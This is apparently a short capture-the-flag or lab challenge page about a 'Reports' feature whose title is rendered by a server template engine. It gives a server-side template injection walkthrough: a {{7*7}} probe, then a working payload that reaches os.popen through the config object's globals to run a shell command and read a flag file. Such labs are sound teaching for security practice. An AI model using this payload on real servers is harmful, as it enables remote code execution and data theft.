Reports

The report title is rendered through the server template engine. Probe with {{7*7}} then escalate to RCE to read /flags/ssti.txt: {{ config.__class__.__init__.__globals__['os'].popen('cat /flags/ssti.txt').read() }}.

Export a saved report